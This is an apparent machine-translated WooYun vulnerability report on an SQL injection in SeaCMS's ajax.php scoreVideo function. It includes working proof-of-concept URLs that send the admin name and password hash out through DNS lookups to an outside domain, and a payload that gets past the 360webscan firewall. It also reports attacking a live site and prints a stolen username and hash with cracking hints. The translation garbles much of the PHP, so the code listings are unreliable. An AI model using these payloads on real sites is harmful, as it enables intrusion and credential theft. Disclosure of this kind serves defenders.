漏洞标题 Seacms最新版多处update注入(绕过360webscan) 相关厂商 SeaCms 漏洞作者 Pany自留地 提交时间 2016-03-18 15:50 公开时间 2016-06-2…
漏洞标题
Seacms最新版多次更新注入(通过360webscan)
相关制造商
SeaCms
漏洞作者
Pany保留
提交时间
2016-03-18 15: 50
公共时间
2016-06-20 15: 50
漏洞类型
SQL注入漏洞
危险等级
高
自我评估等级
12
漏洞状态
已提交给第三方合作机构(cncert National Internet Emergency Center)
标签标签
Waf绕过,php源代码分析,sql注入漏洞提示
漏洞详细信息
SeaCms具有与全局注册变量类似的机制,为后者的漏洞奠定了基础。
//检查并注册外部提交的变量
Foreach($ _ REQUEST as $ _k=> $ _ v)
{
如果(strlen($ _ k)> 0& m_eregi('^(cfg_ | GLOBALS)',$ _ k)&&!isset($ _ COOKIE [$ _ k]))
{
退出('Request var not allow!');
}
}
函数_RunMagicQuotes(& $ svar)
{
如果(!get_magic_quotes_gpc())
{
如果(is_array($ svar))
{
Foreach($ svar as $ _k=> $ _v)$ svar [$ _ k]=_RunMagicQuotes($ _ v);
}
其他
{
$ svar=addslashes($ svar);
}
}
返回$ svar;
}
Foreach(数组('_ GET','_ POST','_ COOKIE')为$ _request)
{
Foreach($$ _ request as $ _k=> $ _v)$ {$ _ k}=_RunMagicQuotes($ _ v);
}
漏洞文件:\ include \ ajax.php
11-44行
切换($ action){
案例'digg':
案例'踩':
案例'得分':
Echo scoreVideo($ action);
打破;
Case'diggnews':
Case'townews':
案例'得分新闻':
Echo scoreNews($ action);
打破;
案例'命中':
Echo updateHit();
打破;
案例'hitnews':
Echo updateHitNews();
打破;
案例'addfav':
Echo addfav();
打破;
Case'videoscore':
Case'newsscore':
Echo getScore($ action);
打破;
案例'vpingfen':
Echo vpingfen($ action);
打破;
案例'npingfen':
Echo npingfen($ action);
打破;
案例'成员':
回声成员();
打破;
}
问题出在scoreVideo()函数中,该函数遵循此函数。
功能scoreVideo($ operType){
全球$ id,$ dsql,$ score;
如果($ id< 1)返回'err';
..在这里省略几行代码...
} ELSEIF($ operType=='分数'){
如果(GetCookie('ssea3_score'。$ id)=='ok')返回'havescore';
$ dsql-> ExecuteNoneQuery('Update`sea_data` set v_scorenum=v_scorenum + 1,v_score=v_score +'。$ score。'其中v_id=$ id');
PutCookie('ssea3_score'。$ id,'ok',3600 * 24,'/');
回归'';
}其他{
回归'错误';
}
}
$ dsql-> ExecuteNoneQuery('Update`sea_data` set v_scorenum=v_scorenum + 1,v_score=v_score +'。$ score。'其中v_id=$ id');
可以控制$ id和$ score,从而导致SQL注入。
什么时候
$ score=2,v_digg=(select user())
此时,字段v_digg的内容意外地使用子查询更新为tooler想要获取的信息。
接下来,写poc
首先澄清该计划的逻辑
$ action=得分进入scoreVideo()函数
同时$ id应大于1,否则返回'err';
cookie中ssea3_score。$ id的值不能正常,否则返回'havescore';
因为我无法直接获取子查询的数据,所以我在这里使用DNS来获取数据(此方法的局限性在于目标环境需要使用root用户连接的数据库来获取数据)
参考《在SQL注入中使用DNS获取数据》
http://**。**。**。**/tips/5283
理论上,poc是:
http://localhost/include/ajax.php?action=score& id=1& score=2,v_digg=(SELECT%20LOAD_FILE(CONCAT(0x5c5c5c5c,(select%20concat_ws(0x5f,name,password)%20 from%20sea_admin%20limit% 201),0x2e33633866396633646330633032363538356261303131326633316335353632632e776f6f79756e2e67715c5c5c5c666f6f626172)))
但因为该程序使用80秒ID。绕过POC之后:
http://localhost/include/ajax.php?action=score& id=1& score=@`\'`,v_digg=(SELECT%20LOAD_FILE(CONCAT(0x5c5c5c5c,(select%20concat_ws(0x5f,name,password)%20 from% 20sea_admin%20limit%201),0x2e33633866396633646330633032363538356261303131326633316335353632632e776f6f79756e2e67715c5c5c5c666f6f626172))),v_hit=@`\'
360webscan在本地调试时不会拦截,但在实际的在线环境中,上面的poc将被360webscan拦截。

所以我必须绕过360webscan(最后在测试代码中poc)
漏洞证明:
寻找在线环境:http://**。**。**。** /
由dns获得

用户:mosss密码:78832884f6c8c932a264
Seacms的加密方法和dedecms都是20位md5。要恢复密码,请减去3位数,然后减去1位数以获得16位MD5。

修理计划:
Sql参数化查询可以从根本上解决这类问题。
版权声明:请注明出处。 Pany保留土地@乌云